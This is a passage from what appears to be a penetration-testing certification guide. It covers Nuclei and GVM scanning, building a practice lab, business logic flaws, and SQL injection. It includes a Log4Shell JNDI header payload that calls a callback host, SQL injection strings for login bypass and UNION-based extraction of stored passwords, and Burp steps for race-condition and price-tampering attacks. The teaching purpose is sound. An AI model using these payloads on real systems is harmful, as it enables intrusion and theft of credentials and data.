  tags: cve,cve2021,apache,log4j,log4shell,jndi,rce

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: ${jndi:ldap://{{interactsh-url}}/exploit}  # JNDI payload in User-Agent
        X-Forwarded-For: ${jndi:ldap://{{interactsh-url}}/exploit}
        Accept: */*
    matchers:
      - type: word
        part: interactsh_protocol  # Match on DNS callback
        words:
          - "dns"
Enter fullscreen mode Exit fullscreen mode

This template sends a JNDI lookup payload in request headers. If the application uses Log4j to log these headers (extremely common), the JNDI reference triggers a DNS lookup to the Nuclei interactsh callback server. The template matches on receiving that callback, confirming Log4Shell vulnerability.

Manual Verification After Automated Scanning

Every automated scanner finding requires manual verification before going into a report. False positives waste client remediation effort and damage your credibility. Here is the verification mindset for common findings:

Security header findings: These are almost always true positives — either the header is present in the response or it is not. Verify by making a request in Burp and checking the response headers yourself. Confirm in multiple response types (main page, login page, API endpoints — some may be configured inconsistently).

CVE findings based on version detection: These require careful verification. Check whether the detected version is actually within the vulnerable range. Check whether the target platform (OS, distribution) may have backported patches. Attempt actual exploitation in a controlled way — confirm the vulnerability is actually exploitable rather than just theoretically present.

Default credential findings: Always verify manually. Log in with the reported credentials and confirm you have the access level indicated.

Exposed file findings: Visit the found URL and confirm the response is actually sensitive. Nikto may flag /phpinfo.php — verify the phpinfo page actually loads and reveals meaningful information.


6.1.8 Lab — Using the GVM Vulnerability Scanner

What GVM/OpenVAS Is and Why It Complements Nikto and Nuclei

GVM (Greenbone Vulnerability Management) is the complete enterprise vulnerability management platform built around the OpenVAS scanning engine. Where Nikto is a quick web server configuration checker and Nuclei tests specific templates, GVM performs comprehensive network and application scanning using over 160,000 Network Vulnerability Tests (NVTs), organized by CVE, product, and severity.

GVM is the open-source alternative to commercial platforms like Nessus Professional. It provides:

  • Authenticated scanning (providing credentials to get inside-out visibility)
  • Comprehensive vulnerability test library
  • Historical scan comparison
  • Structured report generation
  • REST API for integration

Setting Up GVM on Kali Linux

# Install GVM
sudo apt update && sudo apt install -y gvm

# Run first-time setup (takes 15-30 minutes - downloads all feeds)
sudo gvm-setup

# The setup will output admin credentials - SAVE THESE
# Example output: "User created with password: 'r4nd0mP@ss'"

# Start GVM services
sudo gvm-start

# Verify everything is running correctly
sudo gvm-check-setup

# Access the web interface
# Open: https://127.0.0.1:9392 in your browser
# Accept the self-signed certificate warning
# Login with the credentials from setup
Enter fullscreen mode Exit fullscreen mode

Keeping GVM Updated

Your scan results are only as good as your feed data. Run feed updates before every engagement:

# Update all GVM feeds
sudo greenbone-nvt-sync          # Network Vulnerability Tests
sudo greenbone-feed-sync --type SCAP   # CVE and OVAL data
sudo greenbone-feed-sync --type CERT   # CERT-Bund advisories
sudo greenbone-feed-sync --type GVMD_DATA   # GVM management data

# After updating, restart services
sudo gvm-stop && sudo gvm-start
Enter fullscreen mode Exit fullscreen mode

Creating and Running a Scan

Step 1: Create a Scan Target
In the web UI: Configuration → Targets → New Target

  • Name: "Module 6 Lab Target"
  • Hosts: IP address of your lab target (e.g., the DVWA or vulnerable VM IP)
  • Credentials: Add if doing authenticated scanning (SSH for Linux, SMB for Windows, HTTP credentials for web app)

Step 2: Create a Scan Task
Scans → Tasks → New Task

  • Name: "Initial Web Application Assessment"
  • Scan Targets: Select your created target
  • Scan Config: "Full and Fast" for comprehensive testing, or "Web Application Tests" for web-specific NVTs

Step 3: Start the Scan
Click the play button next to your task. Monitor progress in the Tasks view.

Step 4: Review Results
Once complete, click on the scan report. Navigate to Results to see individual findings organized by severity.

Understanding GVM Scan Configurations

Full and Fast: Runs all applicable NVTs with optimized timing. This is the standard configuration for most assessments. Comprehensive coverage without being as intrusive as "Very Deep."

Full and Very Deep: Runs the most thorough checks, including some potentially service-disrupting tests. Use this in isolated lab environments only — it may crash vulnerable services.

Web Application Tests: Focuses specifically on web application NVTs — useful for targeted web assessments where you have already done infrastructure scanning separately.

Discovery: Light scan that identifies services and open ports without deep vulnerability testing. Use this for initial host discovery in large networks.

System Discovery: Even lighter — just host discovery. Similar to nmap -sn.

Reading GVM Reports

GVM reports classify findings using CVSS:

Critical (CVSS 9.0-10.0): Address immediately. Remotely exploitable with no authentication required, significant impact. These are your lead findings in any report.

High (CVSS 7.0-8.9): Address urgently. Serious impact, typically exploitable remotely.

Medium (CVSS 4.0-6.9): Address within 30 days. Significant but with mitigating factors.

Low (CVSS 0.1-3.9): Address in next maintenance cycle. Real vulnerability but limited direct impact.

Log/Info: Informational — host/service details, configuration observations. Not vulnerabilities but useful intelligence.

Exporting Reports:

# Download report via GVM API (for automation)
gvm-cli socket --gmp-username admin --gmp-password [pass] \
  --xml "<get_reports report_id='UUID' format_id='c402cc3e-b531-11e1-9163-406186ea4fc5'/>" \
  | xmllint --format - > report.xml
Enter fullscreen mode Exit fullscreen mode

GVM supports multiple report formats: PDF, HTML, XML, CSV. Use XML for programmatic processing and integration with other tools. Use PDF or HTML for client deliverables.

Combining Scan Results — The Complete Picture

No single scanner catches everything. Professional web application assessments use multiple tools in combination:

Layer 1 — GVM: Comprehensive network and infrastructure vulnerability scanning. Identifies CVE-based vulnerabilities, unpatched software, insecure service configurations.

Layer 2 — Nikto: Quick web server configuration check. Catches missing security headers, dangerous HTTP methods, exposed admin interfaces, default files.

Layer 3 — Nuclei: Fast, template-based checks for specific CVEs, exposures, and misconfigurations. Best coverage for recently disclosed vulnerabilities.

Layer 4 — Burp Suite (manual): Everything the above tools cannot see — business logic, IDOR, authentication bypasses, application-specific vulnerabilities, multi-step attack chains.

The automated layers give you breadth. The manual layer gives you depth. Together, they approach something close to comprehensive coverage.


— Section 6.1 is complete. Sections 6.2 through 6.13 continue in subsequent documents as instructed. —


Module 6 — Sections 6.2, 6.3, and 6.4

CompTIA PenTest+ / Ethical Hacking Certification Series
Professional Reference Guide — GitHub Edition
Building your own lab · Business Logic · SQL Injection · Command Injection · LDAP Injection


Table of Contents


6.2 How to Build Your Own Web Application Lab

Why a Personal Lab Is Not Optional

Reading about SQL injection is one thing. Watching a tutorial is another. Actually opening a terminal, sending a payload, watching the database respond, adjusting the payload, and extracting data — that is where understanding becomes skill. You cannot develop the intuition needed for real web application testing without repetition in a safe environment.

A personal lab lets you test every technique in this module legally, without risk to real systems, without fear of crossing legal lines, and with the freedom to break things and learn from the failure. The lab is not a luxury — it is the minimum viable environment for serious security learning.

The good news is that a web application security lab is surprisingly inexpensive and fast to set up. The most powerful approach combines a Linux security distribution with intentionally vulnerable applications. Here is everything you need to know to build a lab that will take you from beginner exercises to advanced exploitation practice.

The Foundation: Choosing Your Operating System

Kali Linux is the industry standard for penetration testing. Maintained by Offensive Security (the organization that created OSCP), Kali is a Debian-based distribution that ships with over 600 pre-installed security tools — Burp Suite, nmap, sqlmap, Metasploit, hydra, aircrack-ng, and hundreds more. You do not need to install or configure these tools individually. They are all available from the command line or the applications menu.

Options for running Kali:

  • Virtual Machine (recommended for beginners): Download the Kali VM image (VMware or VirtualBox format) from kali.org/get-kali. Import it into VMware Workstation Player (free) or VirtualBox (free). Your host OS (Windows or macOS) remains completely unaffected by anything you do in the VM.
  • Bare metal install: Installing Kali directly on a dedicated machine gives maximum performance. Good for a dedicated lab machine but not ideal as a primary workstation.
  • WSL2 (Windows Subsystem for Linux): Kali is available in the Microsoft Store. Good for command-line tool access but some tools requiring raw network access have limitations.
  • Kali Live USB: Boot from a USB drive with no installation. Leaves no persistent data. Good for temporary use.

Parrot OS is a lighter alternative to Kali. It has the same tool set but uses fewer system resources, making it better suited for older hardware or machines with limited RAM.

BlackArch Linux is for advanced users — Arch Linux-based with over 2,800 tools available. Steeper learning curve but the most comprehensive tool collection.

For this module, Kali Linux in a VM is the recommended setup. It is what the labs in the certification curriculum assume, and it is what you will encounter in most learning resources.

Intentionally Vulnerable Applications — Your Practice Targets

An intentionally vulnerable application is one built to contain specific security flaws for educational purposes. These are legal to attack because that is exactly what they are designed for. You deploy them in your local lab and attack them without any legal or ethical concern.

DVWA — Damn Vulnerable Web Application

DVWA is the foundational practice target for web application security. Built with PHP and MySQL, it contains a deliberately vulnerable web application with the following vulnerability categories, each configurable to low, medium, or high security level:

  • Brute Force
  • Command Injection
  • CSRF
  • File Inclusion
  • File Upload
  • Insecure CAPTCHA
  • SQL Injection
  • SQL Injection (Blind)
  • Weak Session IDs
  • XSS (DOM)
  • XSS (Reflected)
  • XSS (Stored)
  • JavaScript attacks

The security levels (low/medium/high) make DVWA excellent for progressive learning — start at low with no defenses, understand the attack, then move to medium and high to learn how defenses are implemented and how to bypass them. This reinforces both offensive and defensive understanding simultaneously.

Installation on Kali:

# Install DVWA using the official installation script
sudo apt update
sudo apt install -y dvwa

# Start the required services
sudo systemctl start apache2
sudo systemctl start mysql

# Access DVWA in your browser
# http://127.0.0.1/dvwa/

# Default credentials: admin / password
# First visit: http://127.0.0.1/dvwa/setup.php
# Click "Create / Reset Database"
Enter fullscreen mode Exit fullscreen mode

WebSploit Labs

WebSploit Labs is a more modern, comprehensive collection of vulnerable environments maintained by Omar Santos (author of numerous Cisco Press security books and CCNA CyberOps materials). The platform includes hundreds of vulnerable systems and is regularly updated to reflect current vulnerability classes.

Access at: https://websploit.org

WebSploit Labs runs as Docker containers, making setup straightforward on any system with Docker installed. Many of the lab exercises in the certification curriculum can be completed using WebSploit Labs targets.

Metasploitable 2 and 3

Metasploitable is a virtual machine intentionally built with dozens of vulnerabilities at both the network and application layer. Metasploitable 2 is the more widely used version — a Linux VM with a vulnerable web application (Mutillidae), vulnerable network services (FTP, SSH, Telnet, SMB, MySQL, PostgreSQL, VNC, IRC), and deliberately misconfigured services.

Download from Rapid7 or SourceForge. Import into VMware or VirtualBox and configure on a host-only network adapter (never expose Metasploitable to the internet — it will be compromised within minutes).

HackTheBox (HTB)

HackTheBox is a cloud-based platform with intentionally vulnerable machines and web challenges. It requires no local infrastructure — you connect via VPN to HTB's lab network. The machines range from easy to insane difficulty and reflect real-world attack scenarios much more closely than DVWA. HTB is where you go after building foundational skills on DVWA — it is the bridge between learning and professional-level practice.

Free tier at: https://www.hackthebox.com

TryHackMe

TryHackMe is even more beginner-friendly than HTB. It offers guided learning paths with browser-based attack machines that require no VPN setup. The web application security rooms on TryHackMe cover SQL injection, XSS, command injection, file inclusion, and more with step-by-step guidance.

At: https://tryhackme.com

PortSwigger Web Security Academy

This deserves special mention. Created by the team behind Burp Suite, the Web Security Academy at https://portswigger.net/web-security provides free interactive labs for every OWASP vulnerability category. These labs run entirely in the browser. The quality is exceptional — they are the closest thing to professional web application security training available for free. If you only use one external resource alongside your local DVWA lab, make it the Web Security Academy.

Docker-Based Lab Setup — The Modern Approach

Docker containers make lab setup and teardown instant. Instead of managing multiple VMs, you run vulnerable applications as isolated containers that start in seconds and can be destroyed without any cleanup.

# Install Docker on Kali
sudo apt install -y docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER  # Add yourself to docker group
# Log out and back in for group change to take effect

# Run DVWA as a Docker container
docker run -d -p 80:80 vulnerables/web-dvwa
# Access at: http://127.0.0.1/

# Run Mutillidae (comprehensive vulnerable web app)
docker run -d -p 80:80 webpwnized/mutillidae:2.9.0-LAMP

# Run OWASP Juice Shop (modern Node.js vulnerable app, great for learning)
docker run -d -p 3000:3000 bkimminich/juice-shop
# Access at: http://127.0.0.1:3000

# Run WebGoat (OWASP's Java-based vulnerable app)
docker run -d -p 8080:8080 webgoat/goat-and-wolf

# Run a deliberately vulnerable API (for API testing practice)
docker run -d -p 5000:5000 erev0s/vampi

# Stop and remove a container when done
docker ps           # List running containers
docker stop <container_id>
docker rm <container_id>
Enter fullscreen mode Exit fullscreen mode

The Recommended Lab Architecture

Your complete lab should look like this:

Host Machine (your physical computer):
Running VMware Workstation Player or VirtualBox. This hosts your VMs.

VM 1 — Kali Linux (attack machine):
Your primary working environment. All security tools pre-installed. This is where you run Burp Suite, sqlmap, nmap, and everything else.

VM 2 — Vulnerable Target (or Docker containers):
Run DVWA, Metasploitable, or Docker containers here. This is what you attack.

Network Configuration:
Both VMs should be on a Host-Only network adapter. This means:

  • The VMs can communicate with each other
  • The VMs can communicate with the host
  • Neither VM can reach the internet (protecting you from accidentally attacking external systems and protecting Metasploitable from being attacked externally)
VMware/VirtualBox Network Settings:
- Kali VM: Host-Only Adapter (e.g., 192.168.56.101)
- Target VM: Host-Only Adapter (e.g., 192.168.56.102)
- Both VMs can ping each other
- Neither can access the internet through this adapter
Enter fullscreen mode Exit fullscreen mode

Burp Suite — Your Primary Web Testing Tool

Burp Suite Community Edition is pre-installed on Kali. Configure it as an intercepting proxy between your browser and your vulnerable application target, and every HTTP request passes through Burp where you can read, modify, and replay it.

Quick setup:

  1. Launch Burp Suite from Kali's applications menu or burpsuite in terminal
  2. In Burp: Proxy → Options → confirm listener is 127.0.0.1:8080
  3. In Firefox on Kali: Settings → Network Settings → Manual Proxy → HTTP Proxy: 127.0.0.1, Port: 8080
  4. Navigate to your vulnerable application — all traffic now flows through Burp

Install the FoxyProxy Firefox extension for easy proxy switching between testing and normal browsing.


6.3 Understanding Business Logic Flaws

The Vulnerability That Scanners Cannot See

Here is a question to test your understanding: What do all of the following scenarios have in common?

A user on an e-commerce site adds $200 worth of items to their cart, applies a "get 20% off orders over $150" discount code, removes $100 worth of items, and checks out — paying $100 minus the 20% discount, despite their cart being worth far less than $150.

A user on a banking application initiates a funds transfer, but instead of following step 1 → 2 → 3 → confirm, they navigate directly from step 1 to step 3's URL. No verification step. Transfer proceeds.

A user registers for a free 30-day trial, creates an account, cancels, creates a new account with a different email, gets another 30-day trial, and repeats indefinitely.

What these share: none of them involve a coding error in the traditional sense. No SQL query was improperly parameterized. No XSS payload was needed. No buffer was overflowed. The code works exactly as it was written. The flaw is in the design — specifically, the business rules that the developer assumed users would follow but that a creative attacker can circumvent.

These are business logic flaws. And they are the most dangerous category of web vulnerability to miss, because automated scanners cannot find them. A scanner can identify that a parameter is not properly sanitized. It cannot know that removing an item from a cart after applying a discount should re-validate the discount threshold, because that requires understanding the business rule being enforced.

What Business Logic Flaws Are — The Precise Definition

MITRE's Common Weakness Enumeration classifies business logic errors under CWE-840 with subordinate categories including:

  • CWE-841 — Improper Enforcement of Behavioral Workflow
  • CWE-438 — Behavioral Change in New Version or Environment
  • CWE-639 — Authorization Bypass Through User-Controlled Key

OWASP defines a business logic vulnerability as: a flaw in the design or implementation of an application that allows an attacker to elicit unintended behavior from a legitimate feature. The attacker is not using a technical exploit — they are using the application as intended, just in a way the designer did not anticipate.

The key characteristics that distinguish business logic flaws from technical vulnerabilities:

They require understanding the application's purpose and rules, not just its technical implementation. A SQL injection payload is the same regardless of what the application does. A business logic attack is entirely specific to that application's specific workflow and rules.

They often involve correct behavior at each individual step but incorrect behavior across the sequence. Each step validates correctly. The flaw is in the assumption that steps happen in the expected order or with expected preconditions.

They almost always require manual testing by a tester who understands the application's purpose. Automated tools that operate on requests and responses in isolation cannot model multi-step workflows.

The Business Logic Testing Mindset

Before looking at specific attack patterns, you need to internalize the mindset that finds business logic flaws. When you approach any application feature, ask these questions:

What is this feature supposed to do, and what assumptions does the developer make about how users interact with it?

What happens if I use this feature in an order the developer did not intend — skipping steps, repeating steps, doing step 5 before step 2?

What happens if I provide values at the extreme boundaries of what is logically expected — negative numbers, zero, absurdly large numbers, empty values?

What happens if I complete step 1 as User A and step 2 as User B?

What happens if I do two things simultaneously that are supposed to happen sequentially?

What client-side restrictions are there, and what happens when I remove them?

The PortSwigger Web Security Academy's description is excellent: "Business logic vulnerabilities often arise because the design and development teams make flawed assumptions about how users will interact with the application."

Category 1 — Workflow Bypasses

Workflow vulnerabilities occur when an application enforces a required sequence of steps in the user interface but does not enforce that same sequence server-side. The UI hides the "next" button until you complete the current step. But the next step's URL is accessible directly, and the server does not check whether the prerequisite step was completed.

Classic example — Bypassing email verification:

A registration flow requires:

  1. Register with email and password → account created but inactive
  2. Receive verification email → click link
  3. Account activated → can now log in

If the developer only blocks login based on a verified flag in the database, but the verification endpoint at /verify-email?token=XYZ can be guessed or brute-forced, or if step 2 can be replaced by directly navigating to the post-verification dashboard, the entire verification step is meaningless.

Testing approach:

During any multi-step flow — registration, checkout, password reset, document signing, approval workflows — map every URL and endpoint involved in each step. After completing step 1, attempt to navigate directly to step 3's URL without completing step 2. Observe:

Does the server redirect you back to step 2 (correct behavior — server-side state enforcement)?

Does the server serve step 3's content directly (vulnerable — no server-side sequence enforcement)?

In Burp Suite's Proxy HTTP history, you can see all requests made during a legitimate walkthrough of the flow. Note which endpoints correspond to which steps. Then in Repeater, replay step 3's request without first completing step 2.

Real-world case — 2FA bypass:

A login flow with two-factor authentication:

  1. Submit username and password → server validates credentials → redirects to MFA page
  2. Submit MFA code → server validates → grants session

If after step 1 the server sets a session that indicates "credentials validated, awaiting MFA" but the user can navigate directly to the post-login dashboard URL and the server grants access based only on the first-factor session — the MFA step is bypassed entirely. This has been found in production applications and is documented in the PortSwigger Web Security Academy's business logic labs.

Category 2 — Price Manipulation and E-Commerce Logic Flaws

The financial consequences of e-commerce business logic flaws are often immediate and quantifiable. These vulnerabilities are particularly common because financial systems are complex, involve many interacting components (cart, pricing engine, discount system, inventory), and are often built by teams under deadline pressure.

Discount threshold manipulation:

The classic example: "10% off orders over $100." Implementation:

  1. Add items until cart total exceeds $100
  2. Apply discount code — system validates cart > $100, applies 10% discount
  3. Remove items from cart, reducing total to $30
  4. Checkout — if the system does not re-validate the discount condition at checkout, you receive 10% off a $30 cart

The correct implementation re-validates all discount conditions at the final checkout step, not just at the point of application. The vulnerable implementation only validates at application time and trusts the stored discount state thereafter.

Testing approach:

In Burp, intercept the request at each step of the checkout flow. Specifically after applying a discount, modify the cart contents and monitor whether the discount is recalculated or retained. Send the final checkout request with values that contradict the applied discount conditions and observe whether the server re-validates.

Negative quantity:

An application that accepts quantity as a user-submitted value without proper server-side validation may accept negative quantities. A shopping cart with -1 units of a $100 item might calculate a total of -$100, which when combined with actual positive purchases could reduce the total to near-zero or even result in a credit.

# Normal request
POST /cart/update
item_id=789&quantity=1

# Manipulated request (intercept in Burp and modify)
POST /cart/update
item_id=789&quantity=-1
Enter fullscreen mode Exit fullscreen mode

The fix is always the same: validate quantity as a positive integer server-side. Never trust client-submitted numeric values without range validation.

Client-side price manipulation:

Some applications send item prices from the client during add-to-cart operations rather than looking them up server-side. The client submits the price to pay, and the server trusts it.

# Normal add-to-cart request
POST /cart/add
item_id=456&price=99.99&quantity=1

# Manipulated request (Burp Intercept → modify price field)
POST /cart/add
item_id=456&price=0.01&quantity=1
Enter fullscreen mode Exit fullscreen mode

If the server uses the client-submitted price rather than looking up the price from its own database, this results in purchasing at the attacker-specified price. This type of flaw is shockingly common in poorly implemented e-commerce applications.

The golden rule this violates: Never trust any value from the client for financial calculations. Always look up prices server-side from a trusted data source at the time of purchase calculation.

Category 3 — Race Conditions

Race conditions are among the most technically interesting business logic vulnerabilities. They exploit the timing gap between when the application reads a state, makes a decision based on that state, and writes back the updated state.

The vulnerability arises when:

  1. Application reads state ("Is this coupon code still valid? Has it been used?")
  2. Application determines it is valid and proceeds
  3. Application uses the coupon and marks it as used

Between steps 2 and 3, if another identical request arrives simultaneously, that second request also reads the state before step 3 has updated it. Both requests see the coupon as unused. Both requests proceed. One coupon is redeemed twice.

The PortSwigger example (documented in their Web Security Academy):
A gift card system allows single-use redemption. An attacker writes a script that sends 50 simultaneous redemption requests for the same gift card code. For each request, before any of them complete and update the "redeemed" flag, the check returns "not yet redeemed." All 50 requests proceed. The balance is applied 50 times.

Burp Suite has built-in support for testing race conditions through its "Send group in parallel" feature in Repeater. This sends multiple requests simultaneously, maximizing the overlap in timing.

In Burp Suite Repeater:
1. Create your single redemption request
2. Right-click → "Send to Repeater" 20 times
3. Select all tabs
4. Right-click → "Send group in parallel (last-byte sync)"
5. All 20 requests fire simultaneously
6. Observe how many succeed
Enter fullscreen mode Exit fullscreen mode

Documented real examples: the CVE-2024-58248 (gift card double-spending via race condition), numerous cryptocurrency exchange double-spend vulnerabilities, banking application balance manipulation.

Defenses against race conditions:
Database-level locking (SELECT FOR UPDATE, atomic operations, transactions with isolation level SERIALIZABLE), Redis-based distributed locks, or comparing-and-swapping state values atomically. Idempotency keys for financial operations ensure the same operation cannot be processed twice regardless of timing.

Category 4 — Unverified Ownership

Applications sometimes allow operations on objects based on a user-supplied identifier without verifying that the authenticated user is the owner of that object. This overlaps with IDOR (covered in OWASP A01) but specifically in business workflow contexts.

Example: A multi-step order modification flow. In step 1, the user selects their order number. In step 2, they make modifications. In step 3, they confirm. The application tracks the selected order in the session. But what if in step 2, the attacker changes the order number in the request to another user's order number? Does the server verify ownership at each step?

Category 5 — Account and Resource Limit Bypasses

Trial period abuse:
Applications offering free trials that create new accounts can be abused if the only enforcement is at the account level and creating new accounts (with different emails) is unrestricted. The fix requires binding trials to payment methods, device fingerprints, or IP ranges with proper rate limiting.

Quantity limit bypass:
"Limit 3 per customer" promotions enforced by checking the existing order count before placing a new order. Race condition allows bypassing the check by sending multiple simultaneous order requests. Each request checks the count (still 0, 1, 2) before any updates. Multiple orders at the promotional price succeed.

Password recovery abuse:
Weak recovery mechanisms (4-digit numeric SMS codes, security questions with predictable answers, recovery flows that do not rate-limit attempts) enable account takeover through brute force or prediction. OWASP specifically lists "Weak password recovery mechanism for forgotten password" under CWE-640 as a business logic flaw.

How to Test for Business Logic Flaws — The Professional Methodology

Since automated tools cannot find business logic flaws, the methodology is entirely manual and requires deep application understanding.

Step 1: Map the application thoroughly
Use Burp Suite's spider, browse every page, and understand what the application does from a business perspective. What can users buy, transfer, subscribe to, approve, reject, upload, share? What are the business rules?

Step 2: Identify critical workflows
Focus on flows involving money, access control, authentication state changes, quota enforcement, or competitive advantage. These are where business logic errors have the highest impact.

Step 3: For each workflow, attempt:

  • Step skipping: Navigate directly to later steps without completing earlier ones
  • Step repetition: Complete the same step multiple times and observe state
  • Step reversal: Complete the flow, then go back and modify earlier steps
  • Simultaneous requests: Send critical steps simultaneously via Burp's parallel send feature
  • Parameter manipulation: Modify quantities to negative, zero, or extreme values; modify prices, IDs, status fields
  • Cross-user testing: Complete step 1 as User A, step 2 as User B; observe whether User A's data is accessible to User B

Step 4: Ask "what would a fraudster do?"
Approach with the mindset of someone trying to get something for free, circumvent authorization, or manipulate the system. This mindset is more productive for business logic testing than the technical exploitation mindset used for SQL injection.

Step 5: Document everything
Business logic findings require more extensive documentation than technical vulnerabilities because you must explain the business impact, which is often complex. Show the exact sequence of steps, the request at each step, and the resulting anomalous outcome.


6.4 Understanding Injection-Based Vulnerabilities

6.4.1 Overview — What Injection Really Means

Every injection vulnerability, regardless of what is being injected into, shares the same fundamental cause: the application fails to distinguish between the instructions (code) and the data being processed by those instructions. User-supplied data enters a context where it is interpreted as code by some interpreter — a database engine, an operating system shell, an LDAP server, a template processor, an XML parser.

Think about what "injection" means in the everyday physical world. A doctor injects medicine into a patient because intravenous injection gets material directly into the bloodstream — bypassing the normal barriers. SQL injection is the same principle: an attacker injects their commands directly into the database query, bypassing the application layer that was supposed to mediate all database interactions.

The root cause is always the same: the application builds executable commands by concatenating strings that include user-controlled values. The fix is always the same: separate the code from the data using parameterized queries, prepared statements, or context-appropriate encoding. Never concatenate user input into executable commands.

Different interpreters that can be injected into:

Interpreter Injection Type What Gets Executed
SQL database SQL Injection SQL queries
Operating system Command Injection Shell commands
LDAP server LDAP Injection LDAP filter queries
XML parser XXE Injection XML external entity declarations
Browser DOM XSS JavaScript
Template engine SSTI Template expressions
XPath XPath Injection XPath queries
NoSQL database NoSQL Injection MongoDB/Cassandra operators
Email headers Header Injection Email routing instructions

Each injection type differs in syntax, context, and exploitation technique, but the underlying logic is identical. Learn the pattern, not just the specific payloads.


6.4.2 SQL Injection Vulnerabilities — The Complete Deep Dive

Understanding SQL First — The Language of the Target

To exploit SQL injection you must understand the SQL that is being manipulated. SQL (Structured Query Language) is the language used to interact with relational databases — MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite. Every web application that stores data in a relational database uses SQL to read and write that data.

The four fundamental SQL operations:

-- SELECT: Read data from a table
SELECT username, email FROM users WHERE id = 42;

-- INSERT: Add new rows to a table
INSERT INTO orders (user_id, total, status) VALUES (42, 99.99, 'pending');

-- UPDATE: Modify existing rows
UPDATE users SET password = 'newHash' WHERE id = 42;

-- DELETE: Remove rows
DELETE FROM sessions WHERE expires_at < NOW();
Enter fullscreen mode Exit fullscreen mode

When a web application needs to look up a user after login, the code might build a query like this:

// PHP example (vulnerable code)
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
Enter fullscreen mode Exit fullscreen mode

If legitimate values are submitted — username: alice, password: MyPassword123 — the resulting query is:

SELECT * FROM users WHERE username = 'alice' AND password = 'MyPassword123'
Enter fullscreen mode Exit fullscreen mode

This works as intended. But what does SQL do with special characters? What happens when the input is not a simple string?

Why the Single Quote Is the Most Important Character in SQL Injection

In SQL, single quotes (') delimit string values. When the database parser encounters a single quote inside a query, it interprets the quote as the end of the string value. Everything after that point is interpreted as SQL syntax, not as a string.

If the attacker enters admin'-- as the username:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
Enter fullscreen mode Exit fullscreen mode

The ' after admin closes the string. The -- is SQL's comment syntax — everything after it is a comment, effectively deleting the rest of the query. The query that actually executes is:

SELECT * FROM users WHERE username = 'admin'
Enter fullscreen mode Exit fullscreen mode

No password check. If a user named admin exists, the query returns their record and the application logs in the attacker as admin. This is authentication bypass through SQL injection, and it requires no knowledge of the password.

The SQL Injection Classification System

SQL injection is categorized by two dimensions: what happens to the data extracted, and whether the results are visible in the response.

In-Band SQL Injection:
The attack and data extraction happen through the same channel (the HTTP request/response). Results are visible directly in the response body.

Inferential (Blind) SQL Injection:
The results are not visible in the response, but the attacker infers information by observing how the application behaves differently for true versus false conditions.

Out-of-Band SQL Injection:
Data is extracted through a completely different channel — typically DNS queries or HTTP requests made by the database server to an attacker-controlled endpoint.

Error-Based SQL Injection — Reading Data from Error Messages

Error-based injection extracts database information directly from error messages. When the database encounters a malformed query, it often reports what went wrong in an error message — and these error messages frequently contain database version information, table names, or even query results.

-- Payload causing a MySQL error that reveals database version:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--

-- Error message returned:
-- XPATH syntax error: '~5.7.43-0ubuntu0.18.04.1'
--                      ^^^ Database version revealed in the error
Enter fullscreen mode Exit fullscreen mode
-- Payload revealing current database name:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database())))--

-- Error: XPATH syntax error: '~webshop_prod'
Enter fullscreen mode Exit fullscreen mode

Error-based injection is the fastest way to extract data when error messages are visible, because each payload returns data directly in the error string. The limitation: modern production applications suppress error messages, making error-based injection impossible against well-configured servers.

Database-specific error-based payloads:

MySQL uses EXTRACTVALUE() or UPDATEXML(). Microsoft SQL Server uses CONVERT() with incompatible type conversions. Oracle uses column type mismatch in UNION operations. PostgreSQL uses CAST() with invalid conversions. Each database engine exposes data differently through its error messages.

UNION-Based SQL Injection — The Data Extraction Workhorse

UNION-based injection is the most powerful form of in-band SQL injection when results are visible in the response. It works by appending an additional SELECT statement to the original query using the SQL UNION operator, merging attacker-controlled query results with the application's legitimate results.

The requirement: A UNION query only works when the injected SELECT has the same number of columns as the original SELECT, and compatible data types. Your first task is always to determine the column count of the original query.

Step 1: Determine the column count using ORDER BY

-- The original (vulnerable) query:
SELECT product_name, price, description FROM products WHERE category = 'phones'

-- Your injected value in the category parameter:
phones' ORDER BY 1--     -- succeeds: at least 1 column
phones' ORDER BY 2--     -- succeeds: at least 2 columns
phones' ORDER BY 3--     -- succeeds: at least 3 columns
phones' ORDER BY 4--     -- ERROR: "Unknown column '4' in order clause"
-- Conclusion: the query has exactly 3 columns
Enter fullscreen mode Exit fullscreen mode

Step 2: Find which columns are displayed in the response

Not every column in a SELECT is necessarily displayed on the page. Your injected data must go into a column that is rendered in the response.

-- Test which columns display string data (use NULL for compatible typing):
phones' UNION SELECT 'test1', NULL, NULL--
phones' UNION SELECT NULL, 'test2', NULL--
phones' UNION SELECT NULL, NULL, 'test3'--

-- When 'test2' appears on the page, you know column 2 is displayed
Enter fullscreen mode Exit fullscreen mode

Step 3: Extract data

With column count known and a display column identified, extract any data:

-- Extract database version:
phones' UNION SELECT NULL, version(), NULL--

-- Extract all tables in the current database:
phones' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database()--

-- Extract column names from the users table:
phones' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--

-- Extract usernames and passwords:
phones' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users--

-- If only one column is visible, concatenate multiple values:
phones' UNION SELECT NULL, CONCAT(username, 0x7c, password, 0x7c, email), NULL FROM users--
-- 0x7c is hex for | — used as separator
Enter fullscreen mode Exit fullscreen mode

The information_schema is a meta-database that every MySQL/MariaDB installation contains. It stores information about all other databases, tables, and columns. Querying information_schema is how attackers map the entire database structure without knowing anything about it in advance.

Complete data extraction sequence:

-- 1. Find all databases:
' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata--

-- 2. Find all tables in target database 'webshop':
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='webshop'--

-- 3. Find all columns in 'users' table:
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' AND table_schema='webshop'--

-- 4. Extract the data:
' UNION SELECT NULL, CONCAT(id,'|',username,'|',password,'|',email), NULL FROM users LIMIT 10--
Enter fullscreen mode Exit fullscreen mode

Boolean-Based Blind SQL Injection — Inferring Data One Bit at a Time

